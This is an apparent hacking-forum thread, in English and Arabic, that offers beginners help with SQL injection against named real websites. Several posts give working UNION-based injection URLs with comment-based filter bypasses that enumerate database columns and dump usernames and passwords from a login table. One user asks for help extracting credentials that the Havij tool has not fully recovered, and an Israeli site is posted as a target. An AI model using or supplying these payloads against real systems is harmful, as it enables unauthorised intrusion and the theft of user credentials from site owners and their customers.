SQLi Help [service] OPEN

[CODE3]

Hello everyone!
This is free help service for beginners in SQLi.I know everyone face some problems in beginning so i made this thread to help them.

Rules:
Only Post your syntax where you stuck.
Wait for solution.
Dont ask me for cracking Hash.
Please make sure that URl must be vulnerable.

[المفترس]

lets begin with that
and show me what can you do
ok

كود PHP:

http://www.winema.co.nz/index.php?PageID=84 


good luck

[CODE3]

اقتباس المشاركة الأصلية كتبت بواسطة المفترس lets begin with that and show me what can you do ok كود PHP: http://www.winema.co.nz/index.php?PageID=84  good luck

it's 55 columns brother

اقتباس http://www.winema.co.nz/index.php?PageID...+by+55--+-

[المفترس]

اقتباس المشاركة الأصلية كتبت بواسطة CODE3 it's 55 columns brother

I know that
any way thanks

[aircrack -ng]

اقتباس المشاركة الأصلية كتبت بواسطة CODE3 it's 55 columns brother

non non non Blind sql Injection

[xavi13]

يا جماعة المنتدى عربي أم انجليزي

[devyounss]

THE SYNTAX WHERE I STUCK

http://www.visionxip.com/ficha.php?i...0x6c6f67696e--

I BYPASSIT THE 403 FORBIDDEN
BUT I CAN't GET THE USER AND PASSWORD

FORBIDDEN PROBLEME
THX IN ADVANCE

[المفترس]

اقتباس المشاركة الأصلية كتبت بواسطة devyounss THE SYNTAX WHERE I STUCK http://www.visionxip.com/ficha.php?id=-297%20UNION%20all%20/*!SELECT*/%201,2,column_name,4,5,6,7,8,9,10,11,12,13,14,15,1 6,17,18,19,20,21,22,23,24,25,26%20from%20informati on_schema./**/columns%20where%20table_name=0x6c6f67696e-- I BYPASSIT THE 403 FORBIDDEN BUT I CAN't GET THE USER AND PASSWORD FORBIDDEN PROBLEME THX IN ADVANCE

بعد ادن صاحب الموضوع

كود PHP:

http://www.visionxip.com/ficha.php?id=-297 UNION all /*!SELECT*/ 1,2,/*!concat*/(usuario,0x3a,pass)
,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from login-- 


[GHOST HACKERS]

اقتباس المشاركة الأصلية كتبت بواسطة xavi13 يا جماعة المنتدى عربي أم انجليزي

اخي انسخ الكلام على جوجل ...

هنا
GHOST HACKERS

[devyounss]

جزاك الله خيرا يا ***1649;خى على المساعدة
هل لديك موقع يشرح كيفية تخطى الفلترة لأنه دائما يعيقني هدا المشكل

[أسدالله الدمشقي]

thx pro i dont have idea now ^_^

[xavi13]

http://sportmarket.co.il/index.php?type=i&id=152

اسرائيلي مصاب

[CODE3]

اقتباس المشاركة الأصلية كتبت بواسطة xavi13 http://sportmarket.co.il/index.php?type=i&id=152 اسرائيلي مصاب

the site doesn't work

[SuperNoia]

DATABASE : "mundodofut1"
Table: "usuarios"
Coluns: "login" and "senha"

site - mundodofutebol "website brazil"
locate = "/categoria/chuteiras//umbro/?origem=google#conteudo"

I used some tools and did not get success, then I take the test in Havij thus he discovered the name of the database tables and columns by guesswork, but when trying to extract the data, it can not guess some characters.

help please !

thx all ;)

best regards !

Brazilian's hACKING

[aircrack -ng]

اقتباس المشاركة الأصلية كتبت بواسطة SuperNoia DATABASE : "mundodofut1" Table: "usuarios" Coluns: "login" and "senha" site - mundodofutebol "website brazil" locate = "/categoria/chuteiras//umbro/?origem=google#conteudo" I used some tools and did not get success, then I take the test in Havij thus he discovered the name of the database tables and columns by guesswork, but when trying to extract the data, it can not guess some characters. help please ! thx all ;) best regards ! Brazilian's hACKING

Advanced SQL Injection Course


http://www.vbspiders.com/vb/t58687.html